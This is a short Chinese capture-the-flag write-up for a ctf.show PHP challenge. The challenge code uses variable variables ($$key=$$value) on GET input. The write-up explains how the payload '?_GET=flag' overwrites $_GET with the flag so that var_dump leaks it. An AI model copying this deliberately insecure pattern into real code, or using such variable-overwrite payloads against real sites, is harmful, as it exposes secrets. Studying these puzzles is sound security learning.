遍地飘零

好奇妙的一题

代码

<?php

include "flag.php";

highlight_file(__FILE__);



$zeros="000000000000000000000000000000";



foreach($_GET as $key => $value){

    $$key=$$value;

}



if ($flag=="000000000000000000000000000000"){

    echo "好多零";

}else{

    echo "没有零,仔细看看输入有什么问题吧";

    var_dump($_GET);

}

这题的思路就是用$_GET得到的全局变量赋值给$_GET让$_GET的值等于局部变量,然后读取flag.php中的flag

步骤如下:

$key=_GET
$$key=$_GET //这是一个变量
$value=flag
$$value==$flag
$_GET=$flag
var_dump($_GET) == var_dump($flag)

paylaod

http://b0981692-0572-46af-b1f3-d4a1c3ba033b.challenge.ctf.show/?_GET=flag